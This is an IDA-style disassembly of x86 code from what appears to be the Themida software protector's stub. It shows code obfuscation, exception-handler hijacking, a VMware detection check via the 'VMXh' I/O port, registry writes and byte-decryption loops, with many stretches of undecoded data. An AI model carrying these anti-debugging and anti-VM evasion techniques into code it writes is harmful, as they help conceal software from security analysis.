dd 1306029Dh, 6A5306h, 9D8BD0FFh, 61305FDh, 103C7h, 43C70000h
dd 20Ch, 619D8B00h, 0C7061011h, 1001E585h, 6, 6A006A00h
dd 8B006A00h, 1305FD9Dh, 6A5306h, 5F9B5FFh, 95FF0613h
dd 6130616h, 23E585C6h, 68450610h, 92A5F797h, 20E5B5FFh
dd 858D0610h, 6103A32h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h
dd 327504C3h, 5FD9D8Bh, 43C70613h, 0Ch, 6A006A00h, 0FD9D8B00h
dd 53061305h, 0B5FF006Ah, 61305F9h, 61695FFh, 0B5FF0613h
dd 61305F9h, 162195FFh, 6A0610h, 9AD95FFh, 0B5890610h
dd 6100625h, 61F38B60h, 3B04858Dh, 95290613h, 61012F1h
dd 0EA816050h, 240648A4h, 35FF6461h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
xor [ebp+6101455h], ecx
cmp dword ptr [ebp+6103105h], 0
jz loc_57EED9
mov ecx, [ebp+6102885h]
cld
cmp dword ptr [ebp+6102209h], 1
jnz loc_57EED9
mov cx, bx
mov [ebp+6100551h], edi
cmp byte ptr [ebp+6130A16h], 0
jnz loc_57EED9
push 0
push ebx
call sub_57EE93
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EE93 proc near ; CODE XREF: Themida_:0057EE8Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_57EE93 endp
; ---------------------------------------------------------------------------
db 83h
dd 387FFFC5h, 0FE93Eh, 2E300000h, 838DAD98h, 877BDAD7h
dd 0C9766C23h, 8C0F6045h, 5, 5BF38166h, 61605235h, 84E9615Fh
dd 29000001h, 100C118Dh
; ---------------------------------------------------------------------------
push es
loc_57EED9: ; CODE XREF: Themida_:0057EE58j
; Themida_:0057EE6Cj ...
xor ebx, ebx
push 0
push edx
call sub_57EEE6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EEE6 proc near ; CODE XREF: Themida_:0057EEDEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_57EEE6 endp
; ---------------------------------------------------------------------------
dw 47BDh
dd 5E97Ch, 92E30000h, 33C9773Bh, 0A42FB9C0h, 0BD8B76C1h
dd 610319Dh, 73F0F40h, 58F640Bh, 0
; ---------------------------------------------------------------------------
add esp, 4
mov [ebp+6100A75h], edi
mov ecx, edi
sub edx, [ebp+6101FCDh]
stc
cmp ebx, 0FFFFFFFFh
jz loc_57EF60
mov edi, [ebp+6101A85h]
jmp loc_57F04D
; ---------------------------------------------------------------------------
call loc_57EF59
retn 51C2h
; ---------------------------------------------------------------------------
dw 0B90Bh
dd 5AD351FAh, 0D7627D50h, 0F2F87003h
db 2Dh
; ---------------------------------------------------------------------------
loc_57EF59: ; CODE XREF: Themida_:0057EF42p
xor edi, [ebp+6102809h]
pop edi
loc_57EF60: ; CODE XREF: Themida_:0057EF31j
jmp loc_57EFE6
; ---------------------------------------------------------------------------
jno loc_57EF6F
mov dx, 0A294h
loc_57EF6F: ; CODE XREF: Themida_:0057EF65j
mov ecx, [esp+0Ch]
mov dword ptr [ecx+0A4h], 0FFFFFFFFh
add dword ptr [ecx+0B8h], 4
xor eax, eax
retn
; ---------------------------------------------------------------------------
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 6133B26h
mov eax, [ebx+0B8h]
lea eax, [ebp+6133BECh]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
and cl, 56h
pusha
sub si, 399Ch
add [ebp+6100151h], edx
popa
push 0
push ebx
call sub_57EFC9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57EFC9 proc near ; CODE XREF: Themida_:0057EFC1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_57EFC9 endp
; ---------------------------------------------------------------------------
db 48h, 0D6h, 50h
dd 0EF9E5AF9h, 4D59D89h
; ---------------------------------------------------------------------------
adc [esi], al
loc_57EFE6: ; CODE XREF: Themida_:loc_57EF60j
lea eax, [ebp+6133B1Ch]
xor cx, 0C0A9h
push eax
mov dh, 9Eh
push large dword ptr fs:0
jbe loc_57F007
sub [ebp+610201Dh], edi
loc_57F007: ; CODE XREF: Themida_:0057EFFBj
mov large fs:0, esp
jmp loc_57F025
; ---------------------------------------------------------------------------
db 0CDh
db 0CCh
; ---------------------------------------------------------------------------
push ss
xchg eax, esi
mov esi, 497DA17Fh
add [ecx], esp
popf
xor eax, 10568921h
push ds
loc_57F025: ; CODE XREF: Themida_:0057F00Ej
mov ecx, 0Ah
mov eax, 4855D704h
add eax, 0DF78164h
mov ebx, 8685D465h
mov edx, 34B640h
sub edx, 345FE8h
in eax, dx
cmp ebx, 564D5868h
jnz short loc_57F057
loc_57F04D: ; CODE XREF: Themida_:0057EF3Dj
mov dword ptr [ebp+6102D11h], 1
loc_57F057: ; CODE XREF: Themida_:0057F04Bj
pop large dword ptr fs:0
add esp, 4
cmc
movsx ecx, bx
mov eax, eax
xor cx, 0F8D9h
mov edi, [ebp+6100BC1h]
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_57F084
cmp dword ptr [ebp+6100095h], 0
jz short loc_57F09D
loc_57F084: ; CODE XREF: Themida_:0057F079j
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B87Ch]
call ebx
pop ebx
pop eax
loc_57F09D: ; CODE XREF: Themida_:0057F082j
cmp dword ptr [ebp+6100095h], 0
jz short loc_57F0BD
push eax
push ebx
mov eax, 43Dh
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B51Dh]
call ebx
pop ebx
pop eax
loc_57F0BD: ; CODE XREF: Themida_:0057F0A4j
mov dx, si
mov [ebp+61005D9h], eax
mov edx, ebx
mov eax, eax
jmp loc_57F216
; ---------------------------------------------------------------------------
db 4
dd 31000000h, 3031392Eh, 7 dup(0)
db 0
aExceptionInfor db 'Exception Information',0
aPleaseContactT db 'Please, contact the software developers with the following codes.'
db ' Thank you.',0Ah
db 0Dh,0Ah
db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah
db 0Dh,0Ah
db 0Dh,'Version = %s',0Ah
db 0Dh,'CheckIN = %d',0Ah
db 0Dh,'CheckOUT = %d',0Ah
db 0Dh,'ProcIN = %d',0Ah
db 0Dh,'ProcOUT = %d',0Ah
db 0Dh,'ExitIN = %d',0Ah
db 0Dh,'ExitOUT = %d',0Ah
db 0Dh,'TPin = %d',0Ah
db 0Dh,0
; ---------------------------------------------------------------------------
loc_57F216: ; CODE XREF: Themida_:0057F0CAj
cmp dword ptr [ebp+61015BDh], 0
jz loc_57F350
lea eax, [ebp+612B334h]
push eax
lea eax, [ebp+612B29Eh]
push eax
push 80000001h
call dword ptr [ebp+612B344h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C6Eh]
push eax
push 0
push 0
lea eax, [ebp+612B2B2h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C72h]
push eax
push 0
push 0
lea eax, [ebp+612B2C4h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C7Eh]
push eax
push 0
push 0
lea eax, [ebp+612B311h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C86h]
push eax
push 0
push 0
lea eax, [ebp+612B32Fh]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C82h]
push eax
push 0
push 0
lea eax, [ebp+612B318h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C76h]
push eax
push 0
push 0
lea eax, [ebp+612B320h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
lea eax, [ebp+6133C64h]
push eax
lea eax, [ebp+6133C7Ah]
push eax
push 0
push 0
lea eax, [ebp+612B327h]
push eax
push dword ptr [ebp+612B334h]
call dword ptr [ebp+6101451h]
push dword ptr [ebp+612B334h]
call dword ptr [ebp+610058Dh]
jmp loc_57F3F2
; ---------------------------------------------------------------------------
loc_57F350: ; CODE XREF: Themida_:0057F21Dj
cmp dword ptr [ebp+6100959h], 0
jz loc_57F3F2
cmp dword ptr [ebp+6102209h], 0
jnz loc_57F37B
mov edx, [ebp+6102955h]
add edx, 1CF8h
jmp loc_57F38A
; ---------------------------------------------------------------------------
loc_57F37B: ; CODE XREF: Themida_:0057F364j
lea edx, [ebp+6100CB5h]
mov edx, [edx+34h]
add edx, 3BD4C340h
loc_57F38A: ; CODE XREF: Themida_:0057F376j
mov [ebp+6100701h], edx
cmp dword ptr [ebp+6100701h], 0
jz loc_57F3F2
mov ebx, [ebp+6100701h]
add ebx, 4Ch
mov eax, [ebx]
mov [ebp+6133C6Eh], eax
mov ebx, [ebp+6100701h]
add ebx, 50h
mov eax, [ebx]
mov [ebp+6133C72h], eax
mov ebx, [ebp+6100701h]
add ebx, 54h
mov eax, [ebx]
mov [ebp+6133C7Eh], eax
mov ebx, [ebp+6100701h]
add ebx, 58h
mov eax, [ebx]
mov [ebp+6133C82h], eax
mov ebx, [ebp+6100701h]
add ebx, 5Ch
mov eax, [ebx]
mov [ebp+6133C76h], eax
loc_57F3F2: ; CODE XREF: Themida_:0057F34Bj
; Themida_:0057F357j ...
cmp dword ptr [ebp+61015BDh], 0
jnz loc_57F40C
cmp dword ptr [ebp+6100959h], 0
jz loc_57F474
loc_57F40C: ; CODE XREF: Themida_:0057F3F9j
push dword ptr [ebp+6133C86h]
push dword ptr [ebp+6133C7Ah]
push dword ptr [ebp+6133C76h]
push dword ptr [ebp+6133C82h]
push dword ptr [ebp+6133C7Eh]
push dword ptr [ebp+6133C72h]
push dword ptr [ebp+6133C6Eh]
lea eax, [ebp+6133C68h]
push eax
lea eax, [ebp+6133CA0h]
push eax
lea eax, [ebp+6102B01h]
push eax
call dword ptr [ebp+6100251h]
add esp, 24h
push 40h
lea eax, [ebp+6133C8Ah]
push eax
lea eax, [ebp+6102B01h]
push eax
push 0
call dword ptr [ebp+61012F5h]
push 1
call dword ptr [ebp+61009ADh]
loc_57F474: ; CODE XREF: Themida_:0057F406j
mov eax, ecx
call loc_57F486
scasb
push ebp
loope loc_57F4DB
mov dh, 0E0h
; ---------------------------------------------------------------------------
db 8Eh, 73h, 0E4h
db 27h, 0E9h
; ---------------------------------------------------------------------------
loc_57F486: ; CODE XREF: Themida_:0057F476p
jl loc_57F497
pusha
and dh, 0B8h
adc ecx, 5B91BA74h
popa
loc_57F497: ; CODE XREF: Themida_:loc_57F486j
pop edi
pusha
or ch, 6Ah
sbb ax, 9762h
popa
add edi, 5F48h
xor eax, eax
add dh, 0DEh
loc_57F4AD: ; CODE XREF: Themida_:0057F530j
push dword ptr [eax+edi]
jmp loc_57F4C4
; ---------------------------------------------------------------------------
db 0E9h, 0B6h, 0CBh
dd 990EEF2h, 55251F25h, 0B907AFB6h
; ---------------------------------------------------------------------------
loc_57F4C4: ; CODE XREF: Themida_:0057F4B0j
pop ecx
xor bx, 1358h
sub ecx, 1021945Fh
mov si, 5D1Eh
xor ecx, 58AB8274h
push eax
loc_57F4DB: ; CODE XREF: Themida_:0057F47Dj
jmp loc_57F4E6
; ---------------------------------------------------------------------------
mov dl, 0E4h
test bl, bl
mov dl, 0B6h
loc_57F4E6: ; CODE XREF: Themida_:loc_57F4DBj
pop ebx
xor ecx, 65CAFBEEh
cmc
mov [edi+eax], ecx
sbb bl, 51h
xor bh, 38h
sub eax, 2
and ebx, 0FB8E10Bh
dec eax
dec eax
mov dx, si ; CODE XREF: Themida_:0057F54Cj
cmp eax, 0FFFFA17Ch
jnz loc_57F52C
push ebx
mov bx, si
pop edx
jmp loc_57F543
; ---------------------------------------------------------------------------
db 0AFh
dd 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 76413D18h
; ---------------------------------------------------------------------------
loc_57F52C: ; CODE XREF: Themida_:0057F50Bj
mov dx, 0BBADh
jmp loc_57F4AD
; ---------------------------------------------------------------------------
db 0E6h, 88h, 0Ch
; ---------------------------------------------------------------------------
mov fs, di
cmp ds:352D7A32h, ebp
mov cl, 71h
lodsb
loc_57F543: ; CODE XREF: Themida_:0057F516j
pusha
mov dx, di
call sub_57F55F
repne jecxz short near ptr loc_57F502+1
jp short loc_57F5B0
sbb [edx], dl
mov ds:2EBAFC7Fh, eax
retn 0E05h ; CODE XREF: sub_57F55F+Dj
; ---------------------------------------------------------------------------
db 88h
; ---------------------------------------------------------------------------
movsb
add ebp, [edi]
; =============== S U B R O U T I N E =======================================
sub_57F55F proc near ; CODE XREF: Themida_:0057F547p
call near ptr loc_57F576+1
test [ebx+2884E302h], esi
daa
insd
jns short near ptr locret_57F558+2
push esi
pop ebp
insb
sub [edi-15h], bh
db 26h
in eax, dx
loc_57F576: ; CODE XREF: sub_57F55Fp
rep sbb dx, 0FB2Dh
sub_57F55F endp ; sp-analysis failed
pop ecx
pop edx
mov eax, eax
push 0
push edx
call sub_57F58B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F58B proc near ; CODE XREF: Themida_:0057F583p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_57F58B endp
; ---------------------------------------------------------------------------
db 0EFh
dd 0AD1C0E51h, 83F08B29h, 10158DBDh, 9750006h, 95BD83h
; ---------------------------------------------------------------------------
loc_57F5B0: ; CODE XREF: Themida_:0057F54Fj
adc [esi], al
add [ecx+ebx+50h], dh
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B815h]
call ebx
pop ebx
pop eax
cmp dword ptr [ebp+6100095h], 0
jz short loc_57F5EE
push eax
push ebx
mov eax, 40Eh
mov [ebp+6100E65h], eax
lea ebx, [ebp+612B504h]
call ebx
pop ebx
pop eax
loc_57F5EE: ; CODE XREF: Themida_:0057F5D5j
and cl, 0Fh
push 0
push edx
call sub_57F5FC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F5FC proc near ; CODE XREF: Themida_:0057F5F4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_57F5FC endp
; ---------------------------------------------------------------------------
xchg eax, esi
xor al, 0BCh
db 36h
jno short loc_57F63D
xchg eax, ebp
test [edx-0Bh], ch
mov cx, 4C1Dh
mov eax, eax
movsx esi, ax
cmp dword ptr [ebp+6103105h], 0
jz loc_57F643
jmp loc_57F638
; ---------------------------------------------------------------------------
db 48h, 0C0h, 0B4h
dd 60E70F41h
; ---------------------------------------------------------------------------
loc_57F638: ; CODE XREF: Themida_:0057F62Cj
jmp loc_57F93B
; ---------------------------------------------------------------------------
loc_57F63D: ; CODE XREF: Themida_:0057F60Fj
or ecx, 505C6498h
loc_57F643: ; CODE XREF: Themida_:0057F626j
mov edi, ds
jmp loc_57F654
; ---------------------------------------------------------------------------
dw 95Dh
dd 0D8F0A148h, 432A13E7h
; ---------------------------------------------------------------------------
loc_57F654: ; CODE XREF: Themida_:0057F645j
test di, 4
jnz loc_57F93B
push 0
push edi
call sub_57F66A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F66A proc near ; CODE XREF: Themida_:0057F662p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_57F66A endp
; ---------------------------------------------------------------------------
dw 830Fh
dd 1022E5BDh, 850F0006h, 97h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 75C35242h, 0FE8h, 2B47F200h
dd 98F92E13h, 44CCDB8Eh, 0F9FA91E8h, 0EAE68166h, 840F5ACAh
dd 19h, 14E9h, 0D2F85000h, 0BFFD9D19h, 8AEC0D4Fh, 0C500B961h
dd 8426E09Eh, 259E9CDh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 9DED40C3h, 25025569h
dd 0F181665Ah, 10E92B3Bh, 7E000000h, 6E52CDB3h, 47DD9002h
dd 6D5AEEDCh, 2B47B9EEh, 0D98166FFh, 9D8D9B7Ah, 6134467h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 4DC35545h
dd 0ED9637C1h, 623DAB63h, 3860F17h, 80000000h, 0BE66D6D6h
dd 6650B10Ah, 89245FB9h, 850F241Ch, 0Ah, 815F5260h, 5F032ED2h
dd 0FF646163h, 35h, 5860F00h, 66000000h, 0A7EBC981h, 258964h
dd 0B6000000h, 81C48BA9h, 9E2AC9EAh, 0EB01CD57h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 3BA2E123h, 2890F67h, 8A000000h, 5E8D1h, 0B4CB0000h
dd 0E94FE862h, 9, 5F1C6E5h, 360A387Bh, 8F645A67h, 5, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 4814C7C7h, 0E3DEC142h, 4C48380h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0A5C35646h, 2CD23DDBh, 0B1CDDAFh
dd 4840FC0h, 0BE000001h, 3320850Ah, 57006A61h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A2727453h
dd 0A3BD8DAEh, 0E8061073h, 11h, 2063F439h, 5EF6ED3Bh, 6FBA1F74h
dd 0F6E41423h, 0BE807h, 6CB00000h, 0B025206Dh, 32A710F5h
dd 13E87Ch, 67420000h, 0A7D7664Ch, 0BB0C0353h, 0DB6DC96Eh
dd 43C82265h, 5E5E5EC8h, 1B8h, 68B9B900h, 0C2813C4Dh, 784756B9h
dd 6AE7FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 8B57A7C3h, 8B10245Ch, 0B883h, 40B60F00h
dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9FC35141h
dd 0E5FC40E2h, 0E8AA81EEh, 13h, 0FDAD48E5h, 3DB6C30Fh
dd 0BC8E33DFh, 0D13CDED0h, 0FD981EFh, 588h, 0D2816600h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
dec esi
pop edx
loc_57F93B: ; CODE XREF: Themida_:loc_57F638j
; Themida_:0057F659j
popa
jmp loc_57F94E
; ---------------------------------------------------------------------------
db 8, 6Fh, 1
dd 0C65BA70Fh, 6612ED9Fh
db 0Dh, 1Dh
; ---------------------------------------------------------------------------
loc_57F94E: ; CODE XREF: Themida_:0057F93Cj
mov eax, eax
mov si, ax
cmp dword ptr [ebp+610158Dh], 0
jnz short loc_57F965
cmp dword ptr [ebp+6100095h], 0
jz short loc_57F97E
loc_57F965: ; CODE XREF: Themida_:0057F95Aj
push eax
push ebx
mov eax, eax
mov eax, 40Eh
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B87Ch]
call ebx
pop ebx
pop eax
loc_57F97E: ; CODE XREF: Themida_:0057F963j
cmp dword ptr [ebp+6100095h], 0
jz short loc_57F99E
push eax
push ebx
mov eax, 40Eh
mov [ebp+610132Dh], eax
lea ebx, [ebp+612B51Dh]
call ebx
pop ebx
pop eax
loc_57F99E: ; CODE XREF: Themida_:0057F985j
push 0
push ebx
call sub_57F9A9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F9A9 proc near ; CODE XREF: Themida_:0057F9A1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_57F9A9 endp
; ---------------------------------------------------------------------------
db 0Bh, 2Bh, 77h
; ---------------------------------------------------------------------------
mov ecx, 63F469BEh
or [edx+0], ch
push edx
call sub_57F9CD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_57F9CD proc near ; CODE XREF: Themida_:0057F9C5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_57F9CD endp
; ---------------------------------------------------------------------------
db 57h, 64h, 59h
dd 0DD38F480h, 0E9DE6FBFh, 0Bh, 2B69DB71h, 97CCDC2Dh, 0F523B354h
dd 56BFBE66h, 13E9C08Bh, 0A0000000h, 0F00D8BCEh, 0EBA2B1B4h
dd 0D8485A5Bh, 62BFBACFh, 0C28B0211h, 0F31718EBh, 9B46h
dd 4 dup(0)
dd 0BE90000h
db 2, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_57FA37 proc near ; CODE XREF: Themida_:0057FA4Cj
; DATA XREF: Themida_:0054E734o
arg_0 = dword ptr 4
pusha
mov ebx, [esp+20h+arg_0]
call $+5
pop ebp
sub ebp, 61345D6h
popa
retn 4
sub_57FA37 endp
; ---------------------------------------------------------------------------
jmp sub_57FA37
; ---------------------------------------------------------------------------
loc_57FA51: ; CODE XREF: Themida_:0057FA56j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57FA51
; ---------------------------------------------------------------------------
loc_57FA5B: ; CODE XREF: Themida_:0057FA60j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57FA5B
; ---------------------------------------------------------------------------
loc_57FA65: ; CODE XREF: Themida_:0057FA6Aj
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57FA65
; ---------------------------------------------------------------------------
loc_57FA6F: ; CODE XREF: Themida_:0057FA74j
pusha
popa
retn 8
; ---------------------------------------------------------------------------
jmp loc_57FA6F
; ---------------------------------------------------------------------------
align 4
dd 0
dd 0C3616000h, 0FFFFF8E9h, 0EB58BFFh, 81061346h, 0FFF000E6h
dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 12B53B00h, 0F061346h
dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
dd 0FC00A03h, 1984h, 0BB535000h, 2, 701858Bh, 18860610h
dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
dd 2474FF50h, 0C995FF08h, 50061032h, 244C010Fh, 0C08358FEh
dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
dd 840FC00Ah, 9, 701858Bh, 0C60610h, 4FF5800h, 4C224h
dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
dd 2BB00h, 858B0000h, 6100701h, 0DB0A1886h, 0FFF6850Fh
dd 85C7FFFFh, 6100E6Dh, 0
; ---------------------------------------------------------------------------
mov eax, [esp+8]
mov ebx, [eax+1000h]
mov [eax+1000h], ebx
mov ebx, [eax]
mov [eax], ebx
jmp loc_57FB83
; ---------------------------------------------------------------------------
mov dword ptr [ebp+6100E6Dh], 100h
loc_57FB83: ; CODE XREF: Themida_:0057FB74j
pop eax
pop ebx
inc dword ptr [esp]
retn
; ---------------------------------------------------------------------------
db 0E9h, 0A3h, 0FFh
dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah
dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh
dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh
dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h
dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h
dd 0B385C700h, 1061345h, 50000000h, 244C010Fh, 0B7858FFEh
dd 8D061345h, 1345AF85h, 0B7BD8D06h, 89061345h, 23E938h
dd 858D0000h, 6100CB5h, 538408Bh, 9B46F317h, 45AF8589h
dd 858D0613h, 6100CB5h, 893C408Bh, 1345B385h, 0CC858D06h
dd 89061345h, 1032C985h, 87E906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_57FCAA: ; DATA XREF: Themida_:0054BDE4o
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57FCC5
; ---------------------------------------------------------------------------
loc_57FCBE: ; CODE XREF: Themida_:0057FCC7j
add [esi], al
xor [esi], al
ror eax, 1
inc esi
loc_57FCC5: ; CODE XREF: Themida_:0057FCB9j
cmp esi, edi
jb loc_57FCBE
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
pusha
mov esi, [edx+8]
mov edi, [edx+0Ch]
mov eax, 0A945CAB2h
jmp loc_57FCED
; ---------------------------------------------------------------------------
loc_57FCE6: ; CODE XREF: Themida_:0057FCEFj
xor [esi], al
sub [esi], al
ror eax, 1
inc esi
loc_57FCED: ; CODE XREF: Themida_:0057FCE1j
cmp esi, edi
jb loc_57FCE6
popa
pop edx
retn 8
; ---------------------------------------------------------------------------
push edx
mov edx, esp
push esi
push ecx
push ebx
xor ebx, ebx
mov esi, [edx+8]
mov ecx, [edx+0Ch]
jmp loc_57FD20
; ---------------------------------------------------------------------------
loc_57FD0D: ; CODE XREF: Themida_:0057FD22j
lodsb
cmp al, 2Dh
jz loc_57FD20
add al, 98h
xor al, 13h
xor bl, al
rol ebx, 8
dec ecx
loc_57FD20: ; CODE XREF: Themida_:0057FD08j
; Themida_:0057FD10j
or ecx, ecx
jnz loc_57FD0D
mov eax, ebx
pop ebx
pop ecx
pop esi
pop edx
retn 8
; ---------------------------------------------------------------------------
lea eax, [ebp+613483Fh]
mov [ebp+6100979h], eax
lea eax, [ebp+6134867h]
mov [ebp+6101E99h], eax
lea eax, [ebp+613488Fh]
mov [ebp+6100CADh], eax
jmp short loc_57FD5F
; ---------------------------------------------------------------------------
align 4
dd 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_57FD5F: ; CODE XREF: Themida_:0057FD55j
jmp loc_57FDDF
; ---------------------------------------------------------------------------
dd 10F5260h, 5AFE244Ch, 8B24C283h, 10220985h, 7858D06h
dd 8B061379h, 888B08h, 8B000010h, 4A8B660Ah, 0F08D89FCh
dd 83061348h, 1022E5BDh, 840F0006h, 0Fh, 0FF006A60h, 1031C995h
dd 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh, 0CD520272h
dd 85895A04h, 61348ECh, 48F0B58Bh, 0CEC10613h, 72896610h
dd 0F0B58B02h, 66061348h, 61FC7289h, 48EC858Bh
; ---------------------------------------------------------------------------
adc eax, [esi]
retn
; ---------------------------------------------------------------------------
loc_57FDDF: ; CODE XREF: Themida_:loc_57FD5Fj
lea edx, [ebp+6101721h]
mov [ebp+6100701h], edx
mov [ebp+61010C5h], edx
inc dword ptr [ebp+61010C5h]
mov byte ptr [ebp+61023E5h], 53h
push 0FCB148D8h
push dword ptr [ebp+6101499h]
lea eax, [ebp+6103A32h]
call eax
mov [ebp+61031C9h], eax
lea eax, [ebp+61345E6h]
mov [ebp+61006B9h], eax
jmp short $+2
jmp loc_5803CE
; ---------------------------------------------------------------------------
jmp loc_5803C7
; ---------------------------------------------------------------------------
push 6134AA7h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6134BBBh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6134C2Dh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6134CF0h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 6134DFCh
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 3Ch, 8Ah, 47h
dd 255C0493h, 427B32A9h, 1F5C0F86h, 39782CABh, 97B8785h
dd 25B42867h, 10874384h, 2CAB1F5Ah, 9F8A3E73h, 3554EE9Dh
dd 33B06BDFh, 5F04D769h, 27F93419h, 668AA1DAh, 0EAA1B6BAh
dd 6DCC695Ch, 0CC6901C1h, 6957EE6Dh, 608D6DCCh, 0F711B44Eh
dd 0AF5C7195h, 6DCC7B17h, 0CC7B4FF8h, 7B16B06Dh, 0C251EDCCh
dd 7F444719h, 97E7FC28h, 0AE9FC19Bh, 226D6CE6h, 0E95950F1h
dd 0D142355h, 9B183511h, 205F11E7h, 5D118844h, 72816E22h
dd 1B949769h, 0B31E133Bh, 1855FAC1h, 0A121086Ch, 451E136Fh
dd 0EA600DE9h, 0A4C03AD3h, 40FE7F0h, 0DB8B0000h, 0EF952498h
dd 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h
dd 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDF36h
dd 7932B07Ch, 0BC095044h, 666DCC7Ch, 63A44514h, 397018AFh
dd 0F00DE94Dh, 0D912B44Bh, 973A778Bh, 0A1C6AA56h, 587503EBh
